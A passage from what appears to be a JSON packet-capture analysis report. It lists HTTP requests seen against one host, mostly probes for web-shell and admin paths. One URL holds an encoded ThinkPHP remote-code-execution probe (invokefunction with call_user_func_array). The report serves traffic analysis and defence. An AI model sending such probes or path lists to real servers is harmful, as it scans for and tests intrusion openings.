      },
      {
        "observable_id": "observable-60e9bf475779fb1eefa14b78",
        "type": "url",
        "value": "http://128.199.64.235/confg.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 51,
            "frame_number": 1523,
            "display_filter": "frame.number == 1523",
            "timestamp_epoch": "1577256067.548737000"
          },
          {
            "tcp_stream": 51,
            "frame_number": 1529,
            "display_filter": "frame.number == 1529",
            "timestamp_epoch": "1577256068.763766000"
          },
          {
            "tcp_stream": 51,
            "frame_number": 1532,
            "display_filter": "frame.number == 1532",
            "timestamp_epoch": "1577256069.022534000"
          },
          {
            "tcp_stream": 51,
            "frame_number": 1535,
            "display_filter": "frame.number == 1535",
            "timestamp_epoch": "1577256069.857723000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-6a245631b3add601426c811f",
        "type": "url",
        "value": "http://128.199.64.235/config.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 30,
            "frame_number": 927,
            "display_filter": "frame.number == 927",
            "timestamp_epoch": "1577255776.080530000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-5433f6203e00c8bfe63c42f8",
        "type": "url",
        "value": "http://128.199.64.235/conflg.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 30,
            "frame_number": 1093,
            "display_filter": "frame.number == 1093",
            "timestamp_epoch": "1577255814.861145000"
          },
          {
            "tcp_stream": 31,
            "frame_number": 1103,
            "display_filter": "frame.number == 1103",
            "timestamp_epoch": "1577255824.058575000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-80fbaa8084668577db92d4c5",
        "type": "url",
        "value": "http://128.199.64.235/coonig.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 8,
            "frame_number": 434,
            "display_filter": "frame.number == 434",
            "timestamp_epoch": "1577255496.225090000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-2b1ac5d05702532532aae085",
        "type": "url",
        "value": "http://128.199.64.235/core.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 50,
            "frame_number": 1503,
            "display_filter": "frame.number == 1503",
            "timestamp_epoch": "1577256052.274726000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-e84011092449d6e3c89616a7",
        "type": "url",
        "value": "http://128.199.64.235/cxfm666.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 55,
            "frame_number": 1767,
            "display_filter": "frame.number == 1767",
            "timestamp_epoch": "1577256173.943772000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-1eee6310a9b6cff684693da0",
        "type": "url",
        "value": "http://128.199.64.235/d7.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 5,
            "frame_number": 302,
            "display_filter": "frame.number == 302",
            "timestamp_epoch": "1577255411.546188000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-0541d10f23414c69dffc48fc",
        "type": "url",
        "value": "http://128.199.64.235/data.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 55,
            "frame_number": 1754,
            "display_filter": "frame.number == 1754",
            "timestamp_epoch": "1577256165.009056000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-9959291542055a8ff3f9e833",
        "type": "url",
        "value": "http://128.199.64.235/db.init.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 30,
            "frame_number": 1033,
            "display_filter": "frame.number == 1033",
            "timestamp_epoch": "1577255803.756596000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-9b9f51a312fafe354ee5691b",
        "type": "url",
        "value": "http://128.199.64.235/db.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 55,
            "frame_number": 1770,
            "display_filter": "frame.number == 1770",
            "timestamp_epoch": "1577256174.689860000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-b79ef0534f3d100489855f11",
        "type": "url",
        "value": "http://128.199.64.235/db/index.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 71,
            "frame_number": 2111,
            "display_filter": "frame.number == 2111",
            "timestamp_epoch": "1577256352.593978000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-49fbbd2cbe76359c20b128fc",
        "type": "url",
        "value": "http://128.199.64.235/db__.init.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 30,
            "frame_number": 1039,
            "display_filter": "frame.number == 1039",
            "timestamp_epoch": "1577255804.477044000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-d904d45867fb309b2ba25b8e",
        "type": "url",
        "value": "http://128.199.64.235/db_cts.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 4,
            "frame_number": 94,
            "display_filter": "frame.number == 94",
            "timestamp_epoch": "1577255369.090592000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-b065cd9cc1c8b04b460dd03c",
        "type": "url",
        "value": "http://128.199.64.235/db_dataml.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 30,
            "frame_number": 1075,
            "display_filter": "frame.number == 1075",
            "timestamp_epoch": "1577255810.633553000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-124e2d4c9c5e9f5dfc86d8ce",
        "type": "url",
        "value": "http://128.199.64.235/db_desql.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 30,
            "frame_number": 1078,
            "display_filter": "frame.number == 1078",
            "timestamp_epoch": "1577255811.454643000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-2b7deebf5a0c89be8b964c0d",
        "type": "url",
        "value": "http://128.199.64.235/db_pma.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 4,
            "frame_number": 97,
            "display_filter": "frame.number == 97",
            "timestamp_epoch": "1577255369.358316000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-dc813e33aa236210bb4c0ac1",
        "type": "url",
        "value": "http://128.199.64.235/db_session.init.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 30,
            "frame_number": 1036,
            "display_filter": "frame.number == 1036",
            "timestamp_epoch": "1577255804.132068000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-9b65c3dd45509985ec1c8804",
        "type": "url",
        "value": "http://128.199.64.235/dbadmin/index.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 71,
            "frame_number": 2114,
            "display_filter": "frame.number == 2114",
            "timestamp_epoch": "1577256352.891018000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-d20039121410692f5ae63967",
        "type": "url",
        "value": "http://128.199.64.235/defect.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 31,
            "frame_number": 1135,
            "display_filter": "frame.number == 1135",
            "timestamp_epoch": "1577255828.034612000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-0ca0893776fc9a2be06de2b8",
        "type": "url",
        "value": "http://128.199.64.235/desktop.ini.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 4,
            "frame_number": 133,
            "display_filter": "frame.number == 133",
            "timestamp_epoch": "1577255373.276884000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-f7f5064e9881d348d6e9fa3c",
        "type": "url",
        "value": "http://128.199.64.235/dexgp.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 52,
            "frame_number": 1577,
            "display_filter": "frame.number == 1577",
            "timestamp_epoch": "1577256082.973545000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-434a8335ae318a7a2780a301",
        "type": "url",
        "value": "http://128.199.64.235/diy.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 55,
            "frame_number": 1690,
            "display_filter": "frame.number == 1690",
            "timestamp_epoch": "1577256137.413851000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-9f3878d9cf4d588cf9327750",
        "type": "url",
        "value": "http://128.199.64.235/doudou.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 8,
            "frame_number": 418,
            "display_filter": "frame.number == 418",
            "timestamp_epoch": "1577255491.795413000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-9929b4c7335d582a14625e43",
        "type": "url",
        "value": "http://128.199.64.235/download/index.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 72,
            "frame_number": 2319,
            "display_filter": "frame.number == 2319",
            "timestamp_epoch": "1577256407.861987000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-28b915195e20c78af953f3e3",
        "type": "url",
        "value": "http://128.199.64.235/dp.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 13,
            "frame_number": 507,
            "display_filter": "frame.number == 507",
            "timestamp_epoch": "1577255555.503499000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-d7933e602a78a31ab0eab10c",
        "type": "url",
        "value": "http://128.199.64.235/Drupal.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 6,
            "frame_number": 344,
            "display_filter": "frame.number == 344",
            "timestamp_epoch": "1577255438.943366000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-6c88af727fcfca1578baac18",
        "type": "url",
        "value": "http://128.199.64.235/edmin.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 30,
            "frame_number": 966,
            "display_filter": "frame.number == 966",
            "timestamp_epoch": "1577255785.727707000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-a2bf4508284aed219a1ad7c9",
        "type": "url",
        "value": "http://128.199.64.235/elrekt.php?s=%2f%69%6e%64%65%78%2f%5c%74%68%69%6e%6b%5c%61%70%70%2f%69%6e%76%6f%6b%65%66%75%6e%63%74%69%6f%6e&function=%63%61%6c%6c%5f%75%73%65%72%5f%66%75%6e%63%5f%61%72%72%61%79&vars[0]=%6d%645&vars[1][]=%48%65%6c%6c%6f%54%68%69%6e%6b%50%48%50",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 5,
            "frame_number": 267,
            "display_filter": "frame.number == 267",
            "timestamp_epoch": "1577255406.674669000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-7a6e74f84a9c56a87ed6a9f2",
        "type": "url",
        "value": "http://128.199.64.235/erba.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 64,
            "frame_number": 1942,
            "display_filter": "frame.number == 1942",
            "timestamp_epoch": "1577256247.124155000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-47cdb148ccb3c992a69a0c4a",
        "type": "url",
        "value": "http://128.199.64.235/error.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 30,
            "frame_number": 1048,
            "display_filter": "frame.number == 1048",
            "timestamp_epoch": "1577255805.863922000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-86d661da8c353196853c53ed",
        "type": "url",
        "value": "http://128.199.64.235/erwa.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 52,
            "frame_number": 1589,
            "display_filter": "frame.number == 1589",
            "timestamp_epoch": "1577256084.839614000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-0e6c449e7a0a34259e27de83",
        "type": "url",
        "value": "http://128.199.64.235/fack.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 55,
            "frame_number": 1761,
            "display_filter": "frame.number == 1761",
            "timestamp_epoch": "1577256170.060043000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-ca54553bd45ed3674d586ccb",
        "type": "url",
        "value": "http://128.199.64.235/feixiang.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 31,
            "frame_number": 1119,
            "display_filter": "frame.number == 1119",
            "timestamp_epoch": "1577255826.130493000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-77f6295b68fda0f018e706e0",
        "type": "url",
        "value": "http://128.199.64.235/ffr.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 16,
            "frame_number": 611,
            "display_filter": "frame.number == 611",
            "timestamp_epoch": "1577255623.655459000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-491cd966bb24b6d3d416efac",
        "type": "url",
        "value": "http://128.199.64.235/floaw.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 8,
            "frame_number": 412,
            "display_filter": "frame.number == 412",
            "timestamp_epoch": "1577255487.996051000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-bedfd9ea8762d0f295aa1dc9",
        "type": "url",
        "value": "http://128.199.64.235/forum.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 2,
            "frame_number": 48,
            "display_filter": "frame.number == 48",
            "timestamp_epoch": "1577255349.559043000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-42bd5c771a66b0b98ae147d3",
        "type": "url",
        "value": "http://128.199.64.235/forum/index.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 2,
            "frame_number": 58,
            "display_filter": "frame.number == 58",
            "timestamp_epoch": "1577255355.200791000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-1506fdecd77976753b39bb69",
        "type": "url",
        "value": "http://128.199.64.235/forums.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 2,
            "frame_number": 52,
            "display_filter": "frame.number == 52",
            "timestamp_epoch": "1577255350.624382000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-14ef09b22a94458ea616ccf1",
        "type": "url",
        "value": "http://128.199.64.235/forums/index.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 2,
            "frame_number": 62,
            "display_filter": "frame.number == 62",
            "timestamp_epoch": "1577255355.468512000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-9b99108e5276c834c68970ce",
        "type": "url",
        "value": "http://128.199.64.235/freebook.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 30,
            "frame_number": 996,
            "display_filter": "frame.number == 996",
            "timestamp_epoch": "1577255791.267101000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-a4fb86c9d5190268ceae224a",
        "type": "url",
        "value": "http://128.199.64.235/ftmabc.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 8,
            "frame_number": 415,
            "display_filter": "frame.number == 415",
            "timestamp_epoch": "1577255488.475320000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-5aacc5490014c7ce9ed30f1d",
        "type": "url",
        "value": "http://128.199.64.235/fuck.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 30,
            "frame_number": 993,
            "display_filter": "frame.number == 993",
            "timestamp_epoch": "1577255790.265684000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-16503846b99f29ae40b898ad",
        "type": "url",
        "value": "http://128.199.64.235/fusheng.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 52,
            "frame_number": 1604,
            "display_filter": "frame.number == 1604",
            "timestamp_epoch": "1577256091.989098000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-7d0f76a3906c53b623f8b16e",
        "type": "url",
        "value": "http://128.199.64.235/g.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 65,
            "frame_number": 1995,
            "display_filter": "frame.number == 1995",
            "timestamp_epoch": "1577256280.962049000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-8c24c17e049ee207cdb93f60",
        "type": "url",
        "value": "http://128.199.64.235/general.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 52,
            "frame_number": 1607,
            "display_filter": "frame.number == 1607",
            "timestamp_epoch": "1577256095.306165000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-56d484fe23248379391b3724",
        "type": "url",
        "value": "http://128.199.64.235/godkey.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 52,
            "frame_number": 1583,
            "display_filter": "frame.number == 1583",
            "timestamp_epoch": "1577256084.192484000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-40c88fae491ff80ea3996c82",
        "type": "url",
        "value": "http://128.199.64.235/goodbook.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 30,
            "frame_number": 999,
            "display_filter": "frame.number == 999",
            "timestamp_epoch": "1577255795.064114000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-0088a3aeb02f82027fceaa14",
        "type": "url",
        "value": "http://128.199.64.235/gotemp.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 30,
            "frame_number": 1008,
            "display_filter": "frame.number == 1008",
            "timestamp_epoch": "1577255796.767039000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-e1a6ad6d1ce15b1830c54ea7",
        "type": "url",
        "value": "http://128.199.64.235/guai.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 63,
            "frame_number": 1906,
            "display_filter": "frame.number == 1906",
            "timestamp_epoch": "1577256229.963973000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-2f47288dac7332bfcca44d95",
        "type": "url",
        "value": "http://128.199.64.235/h1.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 39,
            "frame_number": 1299,
            "display_filter": "frame.number == 1299",
            "timestamp_epoch": "1577255918.830258000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-e95b02c313d813a646d04bda",
        "type": "url",
        "value": "http://128.199.64.235/hack.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 51,
            "frame_number": 1543,
            "display_filter": "frame.number == 1543",
            "timestamp_epoch": "1577256075.350598000"
          },
          {
            "tcp_stream": 52,
            "frame_number": 1551,
            "display_filter": "frame.number == 1551",
            "timestamp_epoch": "1577256077.796477000"
          },
          {
            "tcp_stream": 52,
            "frame_number": 1555,
            "display_filter": "frame.number == 1555",
            "timestamp_epoch": "1577256078.842540000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-c556da4f360bd0708a9d9c00",
        "type": "url",
        "value": "http://128.199.64.235/hacly.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 55,
            "frame_number": 1773,
            "display_filter": "frame.number == 1773",
            "timestamp_epoch": "1577256178.780363000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-e25ba5a071949e25a1b11c7a",
        "type": "url",
        "value": "http://128.199.64.235/hades.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
